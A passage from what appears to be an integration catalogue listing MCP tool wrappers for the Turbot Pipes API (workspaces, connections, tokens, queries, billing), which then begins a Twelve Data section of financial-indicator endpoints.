new connection for an organization. POST /api/v1/turbotpipes/org/{org_handle}/connection. Scopes: api. turbotpipes_post_org_by_org_handle_connection_by_connection_handle_permission (write) — Create org connection permission via POST /org/{org_handle}/connection/{connection_handle}/permission. Create permissions for a connection defined on an org. POST /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/permission. Scopes: api. turbotpipes_post_org_by_org_handle_connection_by_connection_handle_test (write) — Test org connection via POST /org/{org_handle}/connection/{connection_handle}/test. Test the config for an org connection to check for basic connectivity before you create it. POST /api/v1/turbotpipes/org/{org_handle}/connection/{connection_handle}/test. Scopes: api. turbotpipes_post_org_by_org_handle_connection_folder (write) — Create org connection folder via POST /org/{org_handle}/connection_folder. Creates a new connection folder for an org. POST /api/v1/turbotpipes/org/{org_handle}/connection_folder. Scopes: api. turbotpipes_post_org_by_org_handle_connection_folder_by_folder_id_permission (write) — Create org connection folder permission via POST /org/{org_handle}/connection_folder/{folder_id}/permission. Create permissions for a connection folder defined on the organization level. POST /api/v1/turbotpipes/org/{org_handle}/connection_folder/{folder_id}/permission. Scopes: api. turbotpipes_post_org_by_org_handle_integration (write) — Create org integration via POST /org/{org_handle}/integration. Creates a new integration for an organization. POST /api/v1/turbotpipes/org/{org_handle}/integration. Scopes: api. turbotpipes_post_org_by_org_handle_integration_by_integration_handle_command (write) — Run org integration command via POST /org/{org_handle}/integration/{integration_handle}/command. Run a command for an org integration POST /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}/command. Scopes: api. turbotpipes_post_org_by_org_handle_integration_by_integration_handle_test (write) — Test org integration via POST /org/{org_handle}/integration/{integration_handle}/test. Test the config for an org integration to check for basic connectivity before you create it. POST /api/v1/turbotpipes/org/{org_handle}/integration/{integration_handle}/test. Scopes: api. turbotpipes_post_org_by_org_handle_member (write) — Create Org Member via POST /org/{org_handle}/member. Add a user as a member of an org in a custom tenant. POST /api/v1/turbotpipes/org/{org_handle}/member. Scopes: api. turbotpipes_post_org_by_org_handle_member_invite (write) — Invite org member via POST /org/{org_handle}/member/invite. Invite member to an org. POST /api/v1/turbotpipes/org/{org_handle}/member/invite. Scopes: api. turbotpipes_post_org_by_org_handle_notifier (write) — Create org notifier via POST /org/{org_handle}/notifier. Create a new notifier for an org POST /api/v1/turbotpipes/org/{org_handle}/notifier. Scopes: api. turbotpipes_post_org_by_org_handle_service_account (write) — Create a service account at the organization level via POST /org/{org_handle}/service_account. Create a new service account at the organization level. POST /api/v1/turbotpipes/org/{org_handle}/service_account. Scopes: api. turbotpipes_post_org_by_org_handle_service_account_by_service_account_identifier_token (write) — Create an organization service account token via POST /org/{org_handle}/service_account/{service_account_identifier}/token. Create a new token for an organization-level service account. POST /api/v1/turbotpipes/org/{org_handle}/service_account/{service_account_identifier}/token. Scopes: api. turbotpipes_post_org_by_org_handle_workspace (write) — Create org workspace via POST /org/{org_handle}/workspace. Creates a new workspace for an organization. The limit is 10 per organization. If you require more than 10, you must contact support to request an increase. POST /api/v1/turbotpipes/org/{org_handle}/workspace. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_aggregator (write) — Create an aggregator for an org workspace via POST /org/{org_handle}/workspace/{workspace_handle}/aggregator. Creates an aggregator for a workspace of an org. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/aggregator. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_ai_chat (write) — Chat in org workspace via POST /org/{org_handle}/workspace/{workspace_handle}/ai/chat. Sends a chat message to the AI agent in an org workspace. Creates a new conversation if conversation_id is not provided. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/ai/chat. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_command (write) — Run org workspace command via POST /org/{org_handle}/workspace/{workspace_handle}/command. Run a command in the workspace. Valid commands are: reboot. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_conn (write) — Create org workspace connection association via POST /org/{org_handle}/workspace/{workspace_handle}/conn. Associate a connection with the workspace. A workspace can have multiple association. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/conn. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_connection (write) — Create a connection for an org workspace or associate an org connection to the workspace via POST /org/{org_handle}/workspace/{workspace_handle}/connection. Allows to create a connection on a workspace for an org or associate a connection already existing on the org to the workspace. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_connection_by_connection_handle_test (write) — Test org workspace connection via POST /org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}/test. Test the config for a connection configured on an org workspace to check for basic connectivity. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection/{connection_handle}/test. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_connection_folder (write) — Create org workspace connection folder via POST /org/{org_handle}/workspace/{workspace_handle}/connection_folder. Creates a new connection folder in a workspace of an org. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/connection_folder. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_datatank (write) — Create org workspace Datatank via POST /org/{org_handle}/workspace/{workspace_handle}/datatank. Creates a new org workspace tank. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table (write) — Create org workspace Datatank table via POST /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. Creates a new org workspace tank table. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_part_by_datatank_part_id_command (write) — Run org workspace Datatank table partition command. Valid commands are: refresh. via POST /org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}/command POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_flowpipe_form_by_step_execution_id_by_random_id_submit (write) — Post org workspace flowpipe form response via POST /org/{org_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}/submit. Submit response to a Flowpipe input step form for an org workspace POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}/submit. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_flowpipe_input (write) — Create org workspace flowpipe input via POST /org/{org_handle}/workspace/{workspace_handle}/flowpipe/input. Create a Flowpipe input for an org workspace POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/input. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod (write) — Install flowpipe mod to organization workspace. via POST /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod. Install flowpipe mod to a organization workspace. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable (write) — Create a setting for a flowpipe mod variable in an organization workspace via POST /org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_flowpipe_pipeline_by_pipeline_name_command (write) — Run organization workspace Flowpipe pipeline command via POST /org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_name}/command. Run a command on a pipeline in a workspace belonging to an organization. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_name}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name_command (write) — Run organization workspace Flowpipe trigger command via POST /org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}/command. Run a command on a trigger in a workspace belonging to an organization. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_member (write) — Create Org Workspace Member via POST /org/{org_handle}/workspace/{workspace_handle}/member. Add an individual as a member of a workspace in an organization. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/member. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_mod (write) — Install a mod to an organization workspace via POST /org/{org_handle}/workspace/{workspace_handle}/mod POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable (write) — Create a setting for a mod variable in an organization workspace via POST /org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_notifier (write) — Create org workspace notifier via POST /org/{org_handle}/workspace/{workspace_handle}/notifier. Create a new notifier for an org workspace POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/notifier. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_notifier_by_notifier_name_command (write) — Post org workspace notifier commands via POST /org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}/command. Post a command for a notifier for an orgs workspace POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/notifier/{notifier_name}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_pipeline (write) — Create org workspace pipeline via POST /org/{org_handle}/workspace/{workspace_handle}/pipeline. Creates a new pipeline for a workspace of an organization. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/pipeline. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id_command (write) — Run org workspace pipeline command via POST /org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}/command. Run a command on a pipeline in a workspace belonging to an organization. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_process_by_process_id_command (write) — Run org workspace process command via POST /org/{org_handle}/workspace/{workspace_handle}/process/{process_id}/command. Run a command against an org workspace process. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/process/{process_id}/command. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_query (write) — Query org workspace via POST /org/{org_handle}/workspace/{workspace_handle}/query. Performs a query in an org workspace. Results are limited to 5000 rows or 30 seconds of query execution. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/query. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_query_data_by_extensions (write) — Query org workspace with extensions via POST /org/{org_handle}/workspace/{workspace_handle}/query/data.{extensions}. Performs a query in an org workspace, with content type and content encoding forming part of the API path. Results are limited to 5000 rows or 30 seconds of query execution. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/query/data.{extensions}. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_schema (write) — Attach a schema to an org workspace via POST /org/{org_handle}/workspace/{workspace_handle}/schema. Attach an identity-level connection schema to an org workspace. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/schema. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_snapshot (write) — Create org workspace snapshot via POST /org/{org_handle}/workspace/{workspace_handle}/snapshot. Creates a new workspace snapshot for an org. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/snapshot. Scopes: api. turbotpipes_post_org_by_org_handle_workspace_by_workspace_handle_trigger (write) — Create org workspace trigger via POST /org/{org_handle}/workspace/{workspace_handle}/trigger. Creates a new trigger for an org workspace. POST /api/v1/turbotpipes/org/{org_handle}/workspace/{workspace_handle}/trigger. Scopes: api. turbotpipes_post_service_account (write) — Create a tenant service account via POST /service_account. Create a new service account at the tenant level. POST /api/v1/turbotpipes/service_account. Scopes: api. turbotpipes_post_service_account_by_service_account_identifier_token (write) — Create a tenant service account token via POST /service_account/{service_account_identifier}/token. Create a new token for a tenant-level service account. POST /api/v1/turbotpipes/service_account/{service_account_identifier}/token. Scopes: api. turbotpipes_post_signup (write) — User signup via POST /signup. New user signup. POST /api/v1/turbotpipes/signup. Scopes: api. turbotpipes_post_tenant (write) — Create tenant via POST /tenant. Creates a tenant. POST /api/v1/turbotpipes/tenant. Scopes: api. turbotpipes_post_tenant_by_tenant_handle_avatar (write) — NOT CALLABLE: Turbot Pipes accepts this avatar only as a multipart/form-data file upload, and the operation declares no JSON alternative. No approved Agentic Fabriq artifact transport covers unbounded binary bytes, so there is nowhere for the image to travel that is not an MCP argument. Upload the avatar in the Turbot Pipes console instead. (Create tenant avatar via POST /tenant/{tenant_handle}/avatar. Create custom avatar for a tenant.) POST /api/v1/turbotpipes/tenant/{tenant_handle}/avatar. Scopes: api. turbotpipes_post_tenant_by_tenant_handle_billing_payment_method_intent (write) — Create tenant Stripe billing intent via POST /tenant/{tenant_handle}/billing/payment_method/intent POST /api/v1/turbotpipes/tenant/{tenant_handle}/billing/payment_method/intent. Scopes: api. turbotpipes_post_tenant_by_tenant_handle_billing_subscription (write) — Create a new subscription for the tenant. There can only be 1 active subscription per tenant. via POST /tenant/{tenant_handle}/billing/subscription POST /api/v1/turbotpipes/tenant/{tenant_handle}/billing/subscription. Scopes: api. turbotpipes_post_tenant_by_tenant_handle_member_invite (write) — Invite tenant member via POST /tenant/{tenant_handle}/member/invite. Invite member to a tenant. POST /api/v1/turbotpipes/tenant/{tenant_handle}/member/invite. Scopes: api. turbotpipes_post_user (write) — Create user via POST /user. Creates a new user. POST /api/v1/turbotpipes/user. Scopes: api. turbotpipes_post_user_by_user_handle_ai_key (write) — Create user AI key via POST /user/{user_handle}/ai/key. Creates a new AI provider API key at the user level. POST /api/v1/turbotpipes/user/{user_handle}/ai/key. Scopes: api. turbotpipes_post_user_by_user_handle_ai_key_by_provider_test (write) — Test user AI key via POST /user/{user_handle}/ai/key/{provider}/test. Tests whether an AI provider API key is valid at the user level. If a key is not provided in the body, the existing saved key for the provider will be tested. POST /api/v1/turbotpipes/user/{user_handle}/ai/key/{provider}/test. Scopes: api. turbotpipes_post_user_by_user_handle_avatar (write) — NOT CALLABLE: Turbot Pipes accepts this avatar only as a multipart/form-data file upload, and the operation declares no JSON alternative. No approved Agentic Fabriq artifact transport covers unbounded binary bytes, so there is nowhere for the image to travel that is not an MCP argument. Upload the avatar in the Turbot Pipes console instead. (Create user avatar via POST /user/{user_handle}/avatar. Create custom avatar for a user.) POST /api/v1/turbotpipes/user/{user_handle}/avatar. Scopes: api. turbotpipes_post_user_by_user_handle_billing_payment_method_intent (write) — Create Stripe billing intent via POST /user/{user_handle}/billing/payment_method/intent POST /api/v1/turbotpipes/user/{user_handle}/billing/payment_method/intent. Scopes: api. turbotpipes_post_user_by_user_handle_billing_subscription (write) — Create a new subscription for the user. There can only be 1 active subscription per user. TODO: webhook when subscription payment fail? What to do when subscription is deactivated? via POST /user/{user_handle}/billing/subscription POST /api/v1/turbotpipes/user/{user_handle}/billing/subscription. Scopes: api. turbotpipes_post_user_by_user_handle_connection (write) — Create user connection via POST /user/{user_handle}/connection. Creates a new connection for a user. POST /api/v1/turbotpipes/user/{user_handle}/connection. Scopes: api. turbotpipes_post_user_by_user_handle_connection_by_connection_handle_test (write) — Test user connection via POST /user/{user_handle}/connection/{connection_handle}/test. Test the config for a user connection to check for basic connectivity. POST /api/v1/turbotpipes/user/{user_handle}/connection/{connection_handle}/test. Scopes: api. turbotpipes_post_user_by_user_handle_integration (write) — Create user integration via POST /user/{user_handle}/integration. Creates a new integration for a user. A user can only create a Github integration. POST /api/v1/turbotpipes/user/{user_handle}/integration. Scopes: api. turbotpipes_post_user_by_user_handle_integration_by_integration_handle_command (write) — Run user integration command via POST /user/{user_handle}/integration/{integration_handle}/command. Run a command for a user integration POST /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}/command. Scopes: api. turbotpipes_post_user_by_user_handle_integration_by_integration_handle_test (write) — Test user integration via POST /user/{user_handle}/integration/{integration_handle}/test. Test the config for a user integration to check for basic connectivity before you create it. POST /api/v1/turbotpipes/user/{user_handle}/integration/{integration_handle}/test. Scopes: api. turbotpipes_post_user_by_user_handle_notifier (write) — Create user notifier via POST /user/{user_handle}/notifier. Create a new notifier for a user POST /api/v1/turbotpipes/user/{user_handle}/notifier. Scopes: api. turbotpipes_post_user_by_user_handle_password (write) — Create user password via POST /user/{user_handle}/password. Create or rotate user password. POST /api/v1/turbotpipes/user/{user_handle}/password. Scopes: api. turbotpipes_post_user_by_user_handle_token (write) — Create token via POST /user/{user_handle}/token. Creates a new token for the specified user. The limit is 2 per user. POST /api/v1/turbotpipes/user/{user_handle}/token. Scopes: api. turbotpipes_post_user_by_user_handle_workspace (write) — Create user workspace via POST /user/{user_handle}/workspace. Creates a new workspace for a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_aggregator (write) — Create an aggregator for a user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/aggregator. Creates an aggregator for a workspace of a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/aggregator. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_ai_chat (write) — Chat in user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/ai/chat. Sends a chat message to the AI agent in a user workspace. Creates a new conversation if conversation_id is not provided. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/ai/chat. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_command (write) — Run user workspace command via POST /user/{user_handle}/workspace/{workspace_handle}/command. Run a command in the workspace. Valid commands are: reboot. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_conn (write) — Create user workspace connection association via POST /user/{user_handle}/workspace/{workspace_handle}/conn. Associate a connection with the workspace. A workspace can have multiple association. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/conn. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_connection (write) — Create a connection for a user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/connection. Allows to create a connection on a workspace for a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_connection_by_connection_handle_test (write) — Test user workspace connection via POST /user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}/test. Test the config for a connection configured on a user workspace to check for basic connectivity. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection/{connection_handle}/test. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_connection_folder (write) — Create user workspace connection folder via POST /user/{user_handle}/workspace/{workspace_handle}/connection_folder. Creates a new connection folder in a workspace of a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/connection_folder. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_datatank (write) — Create user workspace Datatank via POST /user/{user_handle}/workspace/{workspace_handle}/datatank. Creates a new user workspace tank. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table (write) — Create user workspace Datatank table via POST /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. Creates a new user workspace tank table. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_datatank_by_datatank_handle_table_by_datatank_table_name_part_by_datatank_part_id_command (write) — Run user workspace Datatank table partition command. Valid commands are: refresh. via POST /user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}/command POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/datatank/{datatank_handle}/table/{datatank_table_name}/part/{datatank_part_id}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_flowpipe_form_by_step_execution_id_by_random_id_submit (write) — Post user workspace flowpipe form response via POST /user/{user_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}/submit. Submit response to a Flowpipe input step form for a user workspace POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/form/{step_execution_id}/{random_id}/submit. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_flowpipe_input (write) — Create user workspace flowpipe input via POST /user/{user_handle}/workspace/{workspace_handle}/flowpipe/input. Create a Flowpipe input for a user workspace POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/input. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod (write) — Install flowpipe mod to a user's workspace via POST /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_flowpipe_mod_by_mod_alias_variable (write) — Create a setting for a flowpipe mod variable in a user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/mod/{mod_alias}/variable. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_flowpipe_pipeline_by_pipeline_name_command (write) — Run user workspace Flowpipe pipeline command via POST /user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_name}/command. Run a command on a pipeline in a workspace belonging to a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/pipeline/{pipeline_name}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_flowpipe_trigger_by_trigger_name_command (write) — Run user workspace Flowpipe trigger command via POST /user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}/command. Run a command on a trigger in a workspace belonging to a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/flowpipe/trigger/{trigger_name}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_mod (write) — Install a mod to a user's workspace via POST /user/{user_handle}/workspace/{workspace_handle}/mod POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_mod_by_mod_alias_variable (write) — Create a setting for a mod variable in a user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/mod/{mod_alias}/variable. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_notifier (write) — Create user workspace notifier via POST /user/{user_handle}/workspace/{workspace_handle}/notifier. Create a new notifier for a user workspace POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/notifier. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_notifier_by_notifier_name_command (write) — Post user workspace notifier commands via POST /user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}/command. Post a command for a notifier for a users workspace POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/notifier/{notifier_name}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_pipeline (write) — Create user workspace pipeline via POST /user/{user_handle}/workspace/{workspace_handle}/pipeline. Creates a new pipeline for a workspace of a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/pipeline. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_pipeline_by_pipeline_id_command (write) — Run user workspace pipeline command via POST /user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}/command. Run a command on a pipeline in a workspace belonging to a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/pipeline/{pipeline_id}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_process_by_process_id_command (write) — Run user workspace process command via POST /user/{user_handle}/workspace/{workspace_handle}/process/{process_id}/command. Run a command against a users workspace process. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/process/{process_id}/command. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_query (write) — Query user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/query. Performs a query in a user workspace. Results are limited to 5000 rows or 30 seconds of query execution. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/query. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_query_data_by_extensions (write) — Query user workspace with extensions via POST /user/{user_handle}/workspace/{workspace_handle}/query/data.{extensions}. Performs a query in a user workspace, with content type and content encoding forming part of the API path. Results are limited to 5000 rows or 30 seconds of query execution. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/query/data.{extensions}. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_schema (write) — Attach a schema to a user workspace via POST /user/{user_handle}/workspace/{workspace_handle}/schema. Attach an identity-level connection schema to a user workspace. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/schema. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_snapshot (write) — Create user workspace snapshot via POST /user/{user_handle}/workspace/{workspace_handle}/snapshot. Creates a new workspace snapshot for a user. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/snapshot. Scopes: api. turbotpipes_post_user_by_user_handle_workspace_by_workspace_handle_trigger (write) — Create user workspace trigger via POST /user/{user_handle}/workspace/{workspace_handle}/trigger. Creates a new trigger for a user workspace. POST /api/v1/turbotpipes/user/{user_handle}/workspace/{workspace_handle}/trigger. Scopes: api. ================================================================================ ## Twelve Data URL: https://www.agenticfabriq.com/integrations/twelvedata Section: Integrated Tools Twelve Data — 187 MCP tools Provider key: twelvedata. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. twelvedata_get_ad (read) — Accumulation/distribution via GET /ad GET /api/v1/twelvedata/ad. Scopes: api. twelvedata_get_add (read) — Addition via GET /add GET /api/v1/twelvedata/add. Scopes: api. twelvedata_get_adosc (read) — Accumulation/distribution oscillator via GET /adosc GET /api/v1/twelvedata/adosc. Scopes: api. twelvedata_get_adx (read) — Average directional index via GET /adx GET /api/v1/twelvedata/adx. Scopes: api. twelvedata_get_adxr (read) — Average directional movement index rating via GET /adxr GET /api/v1/twelvedata/adxr. Scopes: api. twelvedata_get_analyst_ratings_light (read) — Analyst ratings snapshot via GET /analyst_ratings/light GET /api/v1/twelvedata/analyst_ratings/light. Scopes: api. twelvedata_get_analyst_ratings_us_equities (read) — Analyst ratings US equities via GET /analyst_ratings/us_equities GET /api/v1/twelvedata/analyst_ratings/us_equities. Scopes: api. twelvedata_get_api_usage (read) — API usage via GET /api_usage GET /api/v1/twelvedata/api_usage. Scopes: api. twelvedata_get_apo (read) — Absolute price oscillator via GET /apo GET /api/v1/twelvedata/apo. Scopes: api. twelvedata_get_aroon (read) — Aroon indicator via GET /aroon GET /api/v1/twelvedata/aroon. Scopes: api. twelvedata_get_aroonosc (read) — Aroon oscillator via GET /aroonosc GET /api/v1/twelvedata/aroonosc. Scopes: api. twelvedata_get_atr (read) — Average true range via GET /atr GET /api/v1/twelvedata/atr. Scopes: api. twelvedata_get_avg (read) — Average via GET /avg GET /api/v1/twelvedata/avg. Scopes: api. twelvedata_get_avgprice (read) — Average price via GET /avgprice GET /api/v1/twelvedata/avgprice. Scopes: api. twelvedata_get_balance_sheet (read) — Balance sheet via GET /balance_sheet GET /api/v1/twelvedata/balance_sheet. Scopes: api. twelvedata_get_balance_sheet_consolidated (read) — Balance sheet consolidated via GET /balance_sheet/consolidated GET /api/v1/twelvedata/balance_sheet/consolidated. Scopes: api. twelvedata_get_bbands (read) — Bollinger bands via GET /bbands GET /api/v1/twelvedata/bbands. Scopes: api. twelvedata_get_beta (read) — Beta indicator via GET /beta GET /api/v1/twelvedata/beta. Scopes: api. twelvedata_get_bonds (read) — Fixed income via GET /bonds GET /api/v1/twelvedata/bonds. Scopes: api. twelvedata_get_bop (read) — Balance of power via GET /bop GET /api/v1/twelvedata/bop. Scopes: api. twelvedata_get_cash_flow (read) — Cash 